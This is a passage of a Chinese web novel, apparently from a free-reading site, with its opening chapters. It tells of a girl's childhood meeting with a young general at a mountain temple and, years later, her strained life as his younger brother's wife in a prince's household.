《他觊觎弟妻很久了》 1. 前缘-落雪逢花(一) 《他觊觎弟妻很久了》全本免费阅读 正月十三这日,年后的第一场雪降临望京城的伽蓝寺。 山寺皑皑白雪,却挡不住香客往来。 “阿梨,你身为容府嫡长女,一举一动都代表我们容府的脸面,日后行事切不可像今日这般莽撞。” “祖母教训的是。” 伽蓝寺的省悟殿前,刚过了九岁生辰的容嫣正蔫蔫地跪在佛前,上午她跟寺庙里的和尚起了争执,这会儿正被祖母罚跪在殿前,祖母特意选了省悟殿,就是要她好好反省今日的错处。 可是她当真不觉得自己有错。 “跪要有跪相。”容老夫人看着容嫣不情不愿的跪姿,便知道以她的性子定是心中不服。 “阿梨知道了,天寒地冻,祖母快回去吧,可别冻坏了身子。”虽然心里坚信自己没错,但容嫣面上乖巧,毕竟祖母年纪大了,她不能把最疼爱她的祖母气坏了。 见容嫣乖乖认错,一脸严肃的容老夫人面色缓和了许多,让丫鬟监督容嫣罚跪。 眼下是正月里,伽蓝寺香客盈门,众人来来往往在殿前祈愿纳福,寺中香火烟气缭绕。 伽蓝寺位于伽蓝山之巅,地势高远,与祥云齐飞,如今是冬末,尚未开春,远观白雪茫茫一片,颇具仙境之缥缈。 “寻常梨花三月才开,此处地势高远,按理说开的更晚才是,怎的正月就盛放了。” “兄有所不知,这伽蓝寺的梨花树可不是寻常的品种,是道玄主持亲自培育出来的玄梨,很是耐寒。” “是啊,而且这伽蓝寺地处山的南面,最接近盛阳之处,且这树在寺中受天地滋养,日日听这寺里梵音,受天地精华,怕是已经得道成灵树了。” “所言有理。” 容嫣偷懒,斜歪歪跪着,听香客们在议论后山的玄梨林,今晨便听说玄梨花开了,可惜她还没来得及去看就被祖母抓来这里了。 “那小姑娘是太傅府上的嫡小姐容嫣?真不愧是大家闺秀,跪的有模有样。” 听到有人提到自己,容嫣赶忙又跪正身子,装模作样地跪在佛前,双手合十,看似潜心拜求。 祖母最看重名声,她可不能让祖母丢脸。 跪了大半天,容嫣腿都麻了,正想着该怎么才能偷懒,突然有三四个小和尚过来清场,似乎是有大户人家专门请了主持诵经,看样子有法事要办了。 容嫣暗自窃喜,她正好有理由离开这里。 过来的小和尚却没撵她,容嫣认出他就是早晨被大和尚欺负的那个小和尚,没等她开口,那名唤修缘的小和尚主动开口:“容姑娘,您这处小殿比较偏僻,您就在这继续待着就可,不碍事的。” “唔,我……”没等容嫣说完,小和尚自认很贴心地帮她把这里的殿门掩上,飞快跑开。 没一会儿,外头传来梵唱,容府也做过法事,但是比不得今日这般宏大,这让容嫣不禁好奇:这怕不是哪位皇亲去世了? 容嫣哄着祖母身边的丫鬟对她睁一只眼闭一只眼:“好姐姐,我膝盖都跪疼了。” 那丫鬟也知容嫣秉性,无奈的摇摇头:“姑娘跪久了该口渴了,我去给姑娘拿水,姑娘可莫要四处走动。” “谢谢妙芜姐姐。” 待丫鬟离开,容嫣拍拍膝盖衣料跪出来的皱褶,趴在门缝上偷看外面。 只见外头的和尚排成特有的队列,为首的是伽蓝寺主持。 众僧盘坐梵唱,气氛庄重肃穆。 好一会儿,有个和尚高声喊了句什么。 接着便看到一个黑衣少年步履稳健地抱着一个黑盒子走出来。 他缓缓走到最前方,将怀中的黑盒子放到众僧围坐的台子上。 那少年身姿挺拔,气质太过出挑,容嫣不由得在他身上多停留了一会儿,但碍于有段距离,她看不清人脸。 梵唱声顿时又大起来。 接着,那少年跪下,背脊挺得笔直。 旁边几个和尚走动,似乎又要进行下一个流程。 容嫣这才看到,在主持身边还坐着一个墨发披散着的中年男人,在梵唱声中,一个老和尚站起身,另一个小和尚给他递过去一个东西,似乎是剃刀。 看这架势,这是要剃度? 那剃度的是谁,这么大阵仗? 容嫣正犯嘀咕,果然看到老和尚接过小和尚递过来的剃刀,站到那披发中年男子身后。 被剃断的墨发一缕缕坠在地上,对面的少年直挺挺跪着,雪簌簌下,掩住了少年的神情…… 容嫣更好奇了,她悄声喊了喊离殿门不远处的小和尚:“小师父,修缘小师父,那要剃度的男子是谁啊?” 小和尚听容嫣竟然还记得他的名号,心中更暖,他走近些,小声同她说话:“是淮王。” “淮王?” “是啊,我那日偷听师父说话,说淮王要剃度来我们寺里出家呢?” 容嫣瞪大了眼睛,感到不可思议。 不过她更好奇的是刚才那抱着黑盒子的少年。 “那抱黑盒子的是谁?”她问道。 小和尚压低声音:“是淮王府长子顾长颛。” “啊,是他呀!”容嫣轻轻惊叹一声。 “那剃度的男子是淮王?” 修缘小和尚悄悄点头。 淮王府的轶事,一直是寻常后宅女子说笑的谈资,更别提容嫣这个最好事儿的,她虽然年纪小,但是自幼早慧,“淮王痴情”这段“佳话”,她自然耳熟。 淮王妃成婚七载不曾诞下子嗣,都言淮王痴情,一直不曾纳妾,但第七年,淮王迫于宗族的压力还是纳了妾,此后该妾室接连生下了四子一女,其中长子顾长颛被抱养在王妃跟前。 自妾室进门后,王妃就跟淮王大吵一架,搬去了别苑,直到今年冬天王妃病逝。 容嫣趴在窗上,看着外面庄重肃穆的法事,小脸上带着些超出年纪的感慨。 她从来都不觉得淮王深情,便是迫于子嗣的压力,那妾室生出双胎后,何故又来的那三子四子以及最小的女儿呢。 听说淮王妃在别苑病了多年,淮王都不曾去看过,现在人没了,便是他出家也于事无补了。 想到那淮王妃,容嫣心生可惜,她曾看到过一本《将军传》,里头记录了许许多多的精兵良将,淮王妃是那书中提到的少有的女将军,她很难想象那样一个在战场上英姿飒爽的女子,是如何嫁给淮王,又如何在后宅中蹉跎了余生。 “拜——” 随着外面一声高呼,容嫣看过去,看到那黑衣少年走上前,将手中的黑盒子交给已经剃度完成的淮王,而后他磕头,对着淮王行了大礼。 容嫣知道顾长颛。 淮王长子顾长颛,虽由妾室生, 2. 前缘-落雪逢花(二) 《他觊觎弟妻很久了》全本免费阅读 “祖母太过分了,爹爹和娘亲都来了,还要罚我。”用完晚膳,容嫣又来省悟殿了。 容太傅和容夫人帮容嫣说话,但老夫人板着脸不为所动:“她今日差点就大闹佛祖了,好好一个姑娘家被你们宠成泼猴,这可怎么得了。” “哪里有祖母说得那么严重,而且我也没错啊,那小和尚被欺负,我帮他说话,怎么就是大闹佛堂了。”容嫣低声辩解。 “佛祖面前,你对寺中几位僧人大不敬,还敢顶嘴!”容老夫人怒声。 在容府,容老夫人是说一不二的,见她发了脾气,没人敢再说话了,容嫣见祖母生气,也怕她气坏身子,不敢再吭声。 “阿梨,听你祖母的话,去跪着吧。”容夫人冯氏给容嫣使眼色。 “祖母别气了,容嫣知道错了。”容嫣垂头丧气跪着。 容太傅心疼女儿,赶忙给旁边的丫鬟使眼色,让人去拿垫子和汤婆子。 待容嫣走后,容太傅对老夫人道:“母亲,阿梨不过是因为小和尚被寺里其他人欺负,你也知道她性子直率,最看不得欺凌弱小这等行径,何至于让她罚跪……” “夫君,”容夫人扯了扯容太傅的衣摆,“当年阿梨生下来体弱,当时都说阿梨活不下来,母亲在佛前为阿梨借命,也幸得在这寺里遇到了一名神医,咱们阿梨才得以平安健康的活下来,这些年母亲每到阿梨生辰之时都带她来这里小住还愿,如今阿梨在寺里同和尚们起了争执,虽是好意,但终归是莽撞了,母亲也是为阿梨好。” 容太傅听这话,抬眼瞄了一眼老太太,尬笑:“还是母亲思虑周到,阿梨被我惯坏了,该罚该罚。” 容老夫人对着容太傅没好气道:“我对阿梨的疼爱,不比你们任何一个少,可是养子如栽树,你们这般纵容下去可不长久。” “母亲说的是,母亲将夫君和三个弟弟带大,都养的很好,我和夫君初为人父母,难免娇惯孩子了。” 听到容夫人这话,老夫人舒心,不免又苛责容太傅:“你这辈子,最大的幸事就是娶了个好媳妇。” 容太傅嬉皮笑脸的应是。 天渐渐黑下来,省悟殿中,容嫣跪在佛前,身披厚厚的狐裘,怀揣暖炉,手握汤婆子,身前还有灯火映面,热的犯迷糊。 没多久丫鬟斜斜歪在蒲团上睡着,容嫣跪得膝盖有些酸,她偷懒站起来靠在墙边歇会儿,突然,外头闪过一个人影,容嫣认出这就是白日欺负小和尚的人里最嚣张的那个。 看那和尚一走三回头,鬼鬼祟祟,必定有鬼,容嫣向来胆子大,见此也溜出省悟殿跟上去。 这伽蓝寺里的佛殿大大小小有八十一间,容嫣跟了没几步,那和尚就没了人影。 容嫣看着周围,四处都是燃着摇曳烛火的寺殿,但是没有人在,让人心里有些发毛。 想到白天刚看到淮王妃的法事,白日里那装有骨灰的盒子还在外头放了好久,据说人死了之后,会在骨灰附近徘徊,想着,她有些害怕。 脚步越发加快,可是人就怕自己吓唬自己,容嫣越走越害怕,一时竟不知道自己到了哪里。 周围都黑乎乎的,只有不远处一间佛殿里头的光最亮,她赶紧过去。 打开殿门,殿里有人。 容嫣探头,里面的人抬起头,回头看了一眼。 剑眉星目的少年,回眸望来的面庞在烛火中熠熠生辉。 四目相对,容嫣心中不免惊叹了一声。 好俊的哥哥! 见来人是个八九岁的小姑娘,小姑娘身上披着毛茸茸的狐裘,雪白的小脸依偎在脖颈处的雪白狐狸毛中,脸颊带着绯红,一双好看地桃花眼明媚惹眼。 少年眼中闪过一瞬诧异,不过他已经习惯了喜怒不形于色,很快他便又回过头去,继续端端正正的跪在佛前。 看身形和背影,容嫣认出他就是白日那个抱着骨灰盒子的少年顾长颛。 原来他长这样……这样俊。 这会儿崇拜之情完全掩盖了对他抱过骨灰的惧怕,她莫名的想凑上前去搭话。 容嫣放轻脚步,装模作样地跪在少年旁边。 左右祖母罚她跪,在哪跪不是跪,容嫣抬头看了看这殿中的佛像,心道,这处比省悟殿的佛像多好些呢,这样跪得更值呢。 不过…… 她又睁开一只眼,侧头悄悄看了眼身边的少年,心中不由纳闷。 他嫡母去世了,他心中应该难过吧。 可是他为什么不去跪孝贤殿,而是来跪英灵殿呢? 容嫣知道,这英灵殿供奉的是三十二战神,一般都是有战事时,大家才来跪拜祈求战事大胜,将士平安。 他是小将军,来这里跪拜似乎也很合理。 这英灵殿位置在寺庙偏后,一般来祭拜的都是士兵的家眷,这些年边疆休战,来英灵殿祭拜的人都少了很多,而且这殿很空旷,比她刚才待得那省悟殿冷多了。 她握紧手中的汤婆子,又纳闷地看向身侧,看他衣着单薄,双手交叠在身前,指节泛白,她不禁想到,每次她玩完雪之后,手就冷得发白。 想来这小将军肯定很冷吧。 她看了看自己身上的狐裘,握了握暖烘烘的小手,心想,没有了娘亲的孩子果然可怜。 “小将军哥哥。” 顾长颛睁开眸子,看向从刚才起就一直窸窣声不断的身旁。 靠的近了,他瞥见身旁小姑娘眉心点着朱砂,小脸很是俊俏讨喜,尤其是一双大眼睛在摇曳的烛火中熠熠发亮。 她轻轻出声:“小将军哥哥,你可以帮我拿一下这个汤婆子吗?” 顾长颛眉心微蹙,她分明可以把汤婆子放在地上,为何要他拿着? 但她声音软软,眸光奕奕,让人无法拒绝。 似是看出了他心中所想,小姑娘又出声:“地上凉,汤婆子会凉了。” 顾长颛伸手接过来,极暖的温度从冷透的手指传来,他已经很久没接触过这种温度了,还有些不太适应,另一只手也下意识抬起来,两手捧着。 看他接了,容嫣心中高兴,但她既是找借口让他“帮”自己,她总该做些什么,于是她伸手捡起蒲团上的稻草,装作要编东西所有才没手拿汤婆子的样子。 编了好一会儿,容嫣觉得手指冷极了,但是汤婆子给了人,断不好再要回来,而且……容嫣侧头,发现他正两只手捧着汤婆子,不知道什么时候两只手都贴在汤婆子上,似乎很享受这温暖。 不知道为何,她心里特高兴。 于是她继续编手里的东西。 顾长颛的眸光一直落在她手上。 直到外头传来声音。 “姑娘,你在这里!吓死我了,我找了半天,还以为你丢了!老夫人到底是心疼您,见天黑了,吩咐让您去睡呢。” “我在这呢。”容嫣赶紧站起身走出去。 这大殿又剩下顾长颛一人。 小姑娘走的匆忙,汤婆子也没拿走。 本以为小姑娘还会回来拿这汤婆子,顾长颛等了许久都不见人回来。 他面上微哂,心道,真是粗心的小孩。 暖意继续从手中传来,顾长颛活动了一下手,又继续去握着汤婆子,他看向身旁蒲团前被编的乱七八糟的稻草。 想到她刚才手忙脚乱的样子,编了半天都没编成个像样的东西。 向来老气横秋的面庞染了些少年气,素来绷紧的唇竟带了些弧度。 第二日一早,容嫣又去了英灵殿,但是殿中没有人了,只有一直冷掉的汤婆子在蒲团前好好放着,容嫣走过去,拿起汤婆子。 “诶!” 汤婆子旁边还有一个编好的小动物,容嫣一眼看出这是个小狐狸。 因为今日是容嫣生辰,看着容嫣还算听话,容老太太只让容嫣跪够三日,这次容嫣倒是痛快答应。 下午,顾长颛又来了伽蓝寺,远处传来一阵热闹的呼声,这个时辰,按理说寺庙里应当没多少香客了才对。 “爹爹,再来一次,我还要骑大马。” “好,阿梨高兴,那就再来一次。” “两个祖宗,你俩安分些,这里是寺庙,肃穆庄重的地方,你俩当是来游玩的吗!夫君,你也真的胡闹,要是叫母亲瞧见了,又该气坏了。” 顾长颛看向那吵闹声,是一家三口在伽蓝寺的大菩提树下挂祈福带。 “是容太傅,”方牧走来,他见顾长颛看着不远处的一家三口,出声,“公子,要去打招呼吗?” 顾长颛摇头,正要收回视线,他又出声问了句:“那小姑娘,应当就是容府的嫡女吧。” 他认得容太傅容肖易。 “对,前日王爷的意思,说得就是这容府嫡女容嫣同咱们王府联姻,这容府嫡女可谓是在蜜罐子长大的,听说为了这个女儿,容太傅竟然说怕分担了对女儿的关注,跟容夫人商议要等女儿长到十岁时再考虑生下一个孩子。”方牧语气里满是不解和惊叹。 容太傅夫妻情深,是京中人人皆知的事情,这容小姐所受的宠爱,也是城中人人羡慕的。 “世子,是否现在就要上门商议此事,先定下来。” 远处,小姑娘笑靥如花,这世间最幸福的人莫过于她了罢。 收回视线,顾长颛看向方牧,有些好笑:“才是个八九岁的小孩,哪知道什么是婚事,等以后她长大些再说吧,而且我再过些日子就要去婺州了。” 听到顾长颛老气横秋的言语,方牧心中也偷笑,世子也才十五的年纪啊。 “容‘烟’,哪个‘言’?” “啊?”方牧愣了一下,反应过来顾长颛问的是容嫣。 “嫣然的嫣。” 听到是这个字,顾长颛点头,想到小姑娘的笑靥,配这个字倒是极相称。 顾长颛收回视线,看向方牧手中的绸布,伸手接过来。 “你先回去吧。” “好,”方牧走前,又不放心的叮嘱了句,“世子,您穿的太少了,夜里寒气深重……” “婺州在北疆,天气比这里还要冷上几倍,我习惯了。” 听顾长颛如此说,方牧点头,“那我先回王府了,过几日等世子您为将士们祈愿后,再派人来接您。” “不必,过几日我会从这里直接去军营,就不回王府了,你是父王最信任的人,日后府中一切都交由你打理。” “可……侧妃还有二公子他们还等您过几日回府……” 听这话,顾长颛微微蹙眉:“ 3. 前缘-落雪逢花(三) 《他觊觎弟妻很久了》全本免费阅读 “小将军哥哥,你明日还在这儿吗?” 夜深了,容嫣该回去睡了。 顾长颛手中握着汤婆子,听她似乎明日还要来跪,他微微挑眉,好奇道:“你到底犯了什么错,惹得太傅如此罚你。” 容嫣这几日满腹苦水五人诉说,一听这话,她赶紧将这两日心里的憋屈说出来。 其实这事对于容嫣来说就是件小事。 不过是昨日早晨她看到三五个和尚在欺负一个瘦弱的小和尚,便去行侠仗义。原本只是质问那几个和尚为何要打人,谁知道那几个小和尚嫌她是个小女娃,叫她不要多管闲事,甚至对那个可怜的小和尚拳打脚踢。 她一时口不择言,就骂了句:“你们几个臭和尚,竟敢欺负人。” 就是因着“臭和尚”这句称呼,惹恼了祖母。 “其实祖母罚我,我也知错,我小时候生下来的时候体弱,算命的都说我活不过几天,祖母费力请这伽蓝寺的方丈为我加持,后来我果然活了下来,祖母也是在这寺庙里遇到了一位神医,替我治了娘胎里带的毛病,所以祖母一直觉得我和这寺有佛缘,每年在我生辰前后,祖母总会带我来这里酬愿。” 说到这里,容嫣小脸瘪瘪:“我也知道昨日是我失言,我当时实在着急,我只是生气那几个打人的和尚,绝对没有半点不敬佛祖的意思。” 小姑娘似乎很委屈,嘴巴叨叨一直都没停下。 顾长颛把玩着手里的汤婆子,轻问到:“你昨天早晨,如何就能知道不是那个被打的小和尚先犯了错。” 容嫣赶忙解释:“这可是寺庙,有什么错大有戒律长老处罚,哪轮得到他们私下打人,他们这般行径,根本就不是好和尚的做派,而且……那小和尚真的不坏,昨日他们冤枉小和尚偷了功德箱里的香油钱,可是那个小和尚之前捡到了我的玉佩,他若真的是坏人,完全可以贪掉玉佩,但他却还给了我,所以我觉得那小和尚不是他们说的那样。” 小姑娘言辞铮铮,有理有据。 “那你为何不同你祖母说明白。” “我说了,祖母还是让我罚跪,”容嫣小脸一垮,似乎是跪累了,歪歪跪在地上,“哎,我没有证据证明那几个和尚是坏人,反正他们千万别再让我逮到他们作恶,不然我一定要惩罚他们!” 听小姑娘放出豪言壮志,顾长颛唇角微抬。 “说起来,昨晚我还看到那个为首的坏蛋鬼鬼祟祟,可惜我昨晚跟丢了,”小姑娘遗憾道,“那个坏蛋大肚子,油光满面,脸上还有一道疤,原本我第一次在寺庙看到他,还想着不能以貌取人,可是那日他却打人,真让我心寒。” 小姑娘吐槽完,意识到竟然又过了一盏茶的功夫。 “哎呀哎呀,我得赶紧回去了,青环找不到我该着急了。” 小姑娘匆匆跑走,末了,在关门前又停下,只伸进来一个脑袋:“我明天还要罚跪,小将军你要是还来,我就还来找你成不成。” 顾长颛抿了一下唇,应了声:“明晚我还在。” 听到这话,容嫣面露喜色,正要把头也撤出去,又想到什么,又打开门进来,又把怀里的汤婆子也贡献出来:“这个也给你,两个一起会更暖和。” 顾长颛接过来。 小姑娘这次真的跑出门。听着外面小跑的轻快脚步声渐远,怀中揣着的热源一直源源不断的传递满顾长颛全身。 想到今晚他叫她帮自己烧梵经,顾长颛反应过来,他竟是下意识想要同她亲近…… 走出殿,顾长颛正要往后院禅房去,迎面走来一个体态肥胖的和尚。 和尚形色鬼祟,似乎没想到会在这里遇到人,他被迎面而来的顾长颛吓了一跳。 “你个崽……”看清顾长颛的样貌,那和尚噤声,毕恭毕敬,“顾世子……您可是刚从殿中拜完?” 顾长颛的视线落在他左脸颊的那道刀疤上,停顿一下,又收回视线,只微微颔首:“嗯。” “世子,我先去了。”那和尚走开,不知道拐去了哪里。 望着和尚刚才闪进去的黑暗胡同道,顾长颛刚才注意到了这和尚神色慌张,以及他鼓鼓囊囊的袖袍……看来小姑娘说的没错。 既问他刚才是不是在英灵殿,想必还会回来吧……老鼠怕是闻到香油味了。 再次返回英灵殿,顾长颛从腰间摸出玉佩,低头看向功德箱…… 四更天的时候,一道粗壮的影子闪进了英灵殿,灵智想着刚才顾世子在这,这功德箱中必然少不了香油钱,他一打开,果然在里面看到了许多金银,他忙不迭将金银藏进怀里,突然,一块玉佩出现在眼前,看到玉佩的成色,灵智倒抽了一口气。 赶忙把玉佩收入怀中,灵智收拾好功德箱,又赶紧闪了出去。 顾长颛跟上那道影子,看着几个和尚在山门下回合,然后结伴走下山。 小姑娘,看来明晚你要失约了。 许是昨夜睡得太晚,容嫣今日睡到日上三竿,她睁开眼,看到外头日头高高挂,她惊呼:“唔,我睡过头了!” 听到她的动静,容夫人冯氏走过来,笑着拍了拍她的额头:“太阳都晒屁股了。” 容嫣赶紧慌乱地套着衣裙:“坏了,早上要跟着主持礼拜,祖母该生气了。” 冯氏安抚住她:“不用着急了,今日寺庙的礼拜取消了,而且你祖母刚才来看你了,说让你今天好好休息,也免了你今晚的跪罚。” “为何?”容嫣一头雾水。 容肖易正从前面回来,听到女儿的声音,他大步走进来,笑着解释道:“今日寺庙可算是演了一出好戏,佛祖英明,算是报了我闺女连跪两日的大仇。” “到底怎么啦,到底怎么啦?”容嫣越发好奇。 看着女儿与自家夫君如出一辙,一副好事的样子,冯氏没好气的将手中的花钿递给夫君:“你们爷俩臭味相投。” 容肖易接过花钿,熟练地给容嫣绑在头上。 “爹爹,你快说怎么了。” 见女儿好奇,容肖易赶紧笑着解释起来。 “说是昨夜有贵人往功德捐香油钱的时候不小心把家传的玉佩也丢了进去,今早贵人来找主持说愿意捐千金香油钱,愿佛祖不怪,只要他能拿回那祖传玉佩。” 便是没有那千金香油钱,有人要从功德箱中拿回不小心丢进去的祖传玉佩,按理也该还给人家。 “结果找了半天怎么都没找到,连主持都惊动了。” “后来呢?”旁边冯氏也好奇。 “有人说是那贵人故意讹诈寺庙,根本就没有那玉佩。结果过了没几个时辰,突然又有了那玉佩的消息,听说是一个赌坊的老板送回来的,说是这寺里的和尚拿去赌的,结果他们一看这玉佩上面的花纹和刻纹,吓得赶紧送回了寺庙,正巧让寺里寻玉佩的众人逮了个正着。” “在赌坊老板的指认下,揪出了那几个赌博的和尚,那几个和尚对自己偷香油钱和赌博喝花酒的行径供认不讳,其中一个就是前日跟阿梨起争执的那个灵智。” “当真?我就说我没错!”听完,容嫣一扫前两日的郁闷之意,拍手称快。 “我的女儿,自然没错。”容肖易拍拍容嫣的发髻。 冯氏一脸无奈。 后知后觉的容嫣突然问起容肖易:“爹爹,我有个事想问你。” “何事?” “上午那丢玉佩的贵人,爹得知道是谁吗?” “嗯?你怎么突然好奇这个了?”容肖易纳闷。 其实容嫣是突然有个念头,目前在这伽蓝寺中,应当就只有淮王府的人能被称为贵人了。 淮王府的人……会是他么? “我,我只是想问问,到底是什么玉佩能让主持都惊动了。” 听这话,容肖易没再多寻思,笑笑:“是淮王府小世子,昨夜他捐香油钱的时候不小心把他们王府的传家玉佩都丢进去了,真是不小心,幸好找了回来。” “是小将军!”容嫣低低欢呼,胸腔有东西在砰砰跳动。 “嗯?”没等容肖易反应过来,就见容嫣跑出去了,“诶,阿梨你做什么去?” 英灵殿外,容嫣透过半开的窗扉,静静看着殿中执笔在锦帛上写着战死将士名讳和《地藏经》的少年。 这会儿寺里已经鲜少有香客,周遭寂静,斜阳的余晖斜斜透过窗,给少 4. 将军归来(一) 《他觊觎弟妻很久了》全本免费阅读 一晃经年,容嫣给容老夫人过完六十大寿,颇有些不舍地从容府离开。 这是她嫁进淮王府的第三个年头。 马车上,顾长颢看到妻子不大高兴的模样,他心头一软,将人揽进怀里,好声好气的一顿安慰。 “待过完年天气暖些,再叫你过来陪祖母小住一段日子可好。” “当真?”听到这话,容嫣抬头看向顾长颢。 见妻子面色立马飞扬起来,笑靥灵动,顾长颢心头更加软,他伸出骨节分明的手指:“君子一言,驷马难追,你若是不信,我同你拉钩。” 容嫣将手勾过去,夫妻二人相视一笑,在马车中相拥而坐。 直到外面马夫传来一声:“二公子,二少夫人,咱们到了。” 听到这话,连容嫣自己都没注意到,她下意识深呼吸了几下,似乎在准备心情,要面临什么令她难捱的事。 夫妻两人刚下了马车,又有仆从来通传:“公子,夫人,侧妃在芙荷厅中备了晚膳,等了有一会儿了。” 一听要去芙荷院去用膳,容嫣觉得腹中有些撑。 “走吧。”顾长颢伸手来牵她。 容嫣又暗暗吸了口气,将手搭过去,抬头看向顾长颢,面上依旧是笑盈盈的,让人看不出任何不妥的情绪,应声:“好。” 到了芙荷院,里面人已经到齐了。 主位上坐着的是一个四十岁左右的女子,衣着雍容,身上的首饰华贵,看上去派头十足,这就是淮王府的侧妃徐氏,也就是容嫣的婆母。 侧妃徐氏右手边的两个位置空着,左手边紧挨着一个大肚子的女子,看上去很年轻,约莫二十岁左右的年纪,这是再往下是两个男子,跟顾长颢的容貌有二三分相似,分别是王府的三公子顾子昌和四公子顾子盛。 那大着肚子女子是三公子顾子昌的妻子小徐氏徐如芹,她是侧妃徐氏的娘家侄女,如今有五个月的身孕,颇得徐氏看重。 四公子顾子盛再往左,是一个十四五岁的女子,生的样貌俊美,跟顾长颢也有几分相似,是王府的小郡主顾云筝。 看到二人进来,顾云筝率先喊了句:“二哥二嫂,你们回来了。” “回来了,”侧妃徐氏看向二人,先是神情高兴地看向顾长颢,随后目光在容嫣身上掠过,看不出什么情绪。 顾长颢应了声,唤了声:“母亲。” 徐氏高兴应了。 “母亲。”容嫣也紧跟着称呼。 徐氏收回视线:“坐罢。” 顾长颢挨着徐氏坐下。 容嫣在顾长颢和顾云筝之间的位置上浅坐了一会儿,听徐氏如往日一般说着家长里短。 自从到了王府,最让容嫣磨性子的就是徐氏每日用膳前的絮叨。 许是这三年也磨好了性子,如今容嫣眼观鼻,鼻观心,也能静静听着,等着徐氏话说完话,就该到她忙活的时候了。 今晚的徐氏话格外多,容嫣有小半月没在府中,徐氏似乎要把这小半月的不满全发作出来。 “三五天前皇后生辰,全靠我张罗着筹备贺礼,还有你舅舅家出了大事,你表弟最近还在狱中,全靠咱们打点,哦对,你三叔家的小儿子要成婚了,昨日刚定下来,也靠我送去礼物……” 徐氏絮絮叨叨,容嫣心中腹诽:明明有能干的方牧在,说得好像全靠婆母一样…… 但是她不会在明面上怼,只能听着徐氏说个没完。 容嫣快要听的快要睡着时,突然听到一句: “你们大哥已经在回来的路上了,不过三两日就能入京,除却颢儿你成婚时长颛匆匆回来了一趟又走了,这三年都没回来。” 这话一落,几人都又惊又喜。 顾子昌:“大哥要回来?” 顾长颢早就知道这个消息,比起其他弟弟妹妹,他要淡定许多:“半年前传来捷报,说大哥带领的赤统大军已经成功夺回婺州第十城,现在终于要回来了。” 顾云筝高兴道:“太好了,这次打了打胜仗,大哥应当不会再出征了把,其实算起来,大哥有八九年没在家中住过了呢,每次都是匆匆回来,又匆匆离开。” 顾子盛也高兴道:“大哥再不回来,我都快要忘记大哥什么样了!”三年前顾长颛回来哪一趟太匆匆,顾子盛当时在外游学,并未见到人。 大哥顾长颛要回来了。 容嫣下意识在心中重复了‘顾长颛’三个字,突然有种陌生又恍若隔世的感觉,她的回忆拉回三年前,她嫁给顾长颢的第二天来给徐氏敬茶的那天早晨。 那天,一进徐氏院子,就看到院子枣树下站着一个高个子男人,男人身上是还没来及换下来的戎装,就那么立在院中。 他回过头时,脸上是疲态,眼睛沉的吓人,布满了血丝。 看见顾长颢和她进来,他疲惫不堪的脸上扯出一个很努力的笑意,抬手拍了拍与自己有六七分相似的顾长颢肩膀,说了声:“还是没能赶上。” 后面他跟顾长颢寒暄的话容嫣都不记得了,倒是记得他最后看向自己,从怀里掏出一张红色信封。 “二弟妹,新婚快乐。” 然后他快步出了门,却又在芙荷院门口吐了血。 后来听人说那时顾长颛着急赶回来参加二弟的婚事,所以得了陛下批准后一路从婺州赶回来,中间累坏了好几匹马,人也累坏了。 但就算这样,也没能赶上吉时。 后来,顾长颛又在当天赶回了婺州。 与伽蓝寺时不同,挺拔修竹般的少年已经长成了顶天立地的松柏……但那日他吐血的场景一直让她历历在目…… “二嫂,二嫂……” 容嫣正微微出神,被身边的顾云筝打断,她回过神, 这时桌上已经安静下来,徐氏的话已经说完。 容嫣如往日一般站起身,从丫鬟手中接过公筷,动作熟练地给徐氏布菜。 等徐氏快吃饱,容嫣才回到位置上,顾长颢有些心疼她,给她夹了她最爱吃香玉酥,但是香玉酥这种炸食,本该就是趁热时最酥脆,容嫣轻轻咬了一口,食物如往日一般,已经失去最佳赏味的时刻,她心中略感遗憾,但是顾长颢一片心意,她不愿辜负,还是细嚼慢咽的吃完。 见她吃完,顾长颢还想再替她夹,旁边的徐氏不满地搁下茶杯,发出不大不小的动静,容嫣也适时开口:“不用再夹了。” 对比容嫣在容府的胃口,顾长颢明显发现容嫣今晚食欲不佳,他低声询问:“可是不舒服?” 还不等容嫣说什么,主位的徐氏突然发作:“如芹怀了孕尚且没这么娇贵,长颢,你莫要太纵着。” 听徐氏突然又发作脾气,容嫣心中一阵无奈,却也不知道自己又哪里得罪了她。但这三年她已经学会了无视和容忍徐氏随时随地莫名其妙的脾气变化,是以她并未吭声。 顾长颢暗自叹了口气,却也知道若是这个时候自己反驳又会引得母亲更加不高兴,赶紧顺着徐氏的话:“是,听母亲的。” 有人顾及容嫣的情绪,去看她一眼,却见她面上平静,似乎没有任何情绪起伏。 老四顾子盛皱了皱鼻头,收回视线。 终于熬完难捱的晚膳,顾云筝借口要容嫣帮她瞧瞧新栽的花,将人带出去。 “母亲就是这样的性子,她之前在王府也过得不容易,如今才苦尽甘来,二哥心疼她,二嫂你不要同母亲计较。” 在这王府中,有顾云筝这个善解人意的小姑子,到真让容嫣宽慰不少。 “二嫂,全府上下还要全靠你多打理,你也知道母亲不太会管家,三嫂没见过什么世面,而且大哥就要回来了,还要靠二嫂你多打点和准备。” 说这话的时候,容嫣注意到顾云筝的目光一直落在自己面上,她只以为顾云筝还在估计自己的情绪,也没在意。 “这本就我该做的,”不再去想刚才在芙荷厅那令她不适的场景,她换了个话题,“你养的这些花都是极罕见的,赶明儿我差人请个花匠来给你打理一下。” 没发现容嫣的情绪有任何浮动,顾云筝收回视线,也不再多想,去看自己的花。 “是啊,都是几年前我央着大哥从婺州给我带回来的稀罕品种呢,正好他这次回来让他瞧瞧。” 傍晚,回到青梧院,一进门,就见桌子上摆了两盘吃食,顾长颢正坐在桌边招呼她过来。 “阿嫣,快来,我刚让小厨房给你做的,还热着呢。” 容嫣走近桌边,正要坐下,顾长颢将她拉进怀里坐着,安慰她:“你知道,母亲她之前只是父王身边的侍妾,过得很不容易,这些年才开始做主,行事总有不周到的地方,加上她……一直盼着咱俩的孩子,所以有时候就对你责难,你不要怪她,要多体谅她……” 容嫣的视线落在那盘香玉酥上,看着它冒着热气,但她仍没有胃口。 5. 将军归来(二) 《他觊觎弟妻很久了》全本免费阅读 在徐氏一行人回来前,容嫣吩咐人将王府上下又检查一遍,看看还有无遗漏或者不周到的地方。 此刻,后院的下人刚得了容嫣发放的补贴和赏赐,干活也都起劲。 “幸亏二少夫人在,将咱们阖府上下打理的如此周到。” “是啊是啊,要我说,这王府啊也幸得娶了这容府大小姐当咱们二少夫人,不然……这府上可真没个能主事的。” “嘘……别乱说,咱们知道二少夫人的好就行了,旁的便别说了,若是落到侧妃耳朵里,又要生事了。” 原以为上午之前肯定会回来,结果好半天没见人回来。 迟迟不见人回来,容嫣不免有些担心,直到前院传来动静,她面露喜色,让婆子去后厨再去仔细盯着饭食。 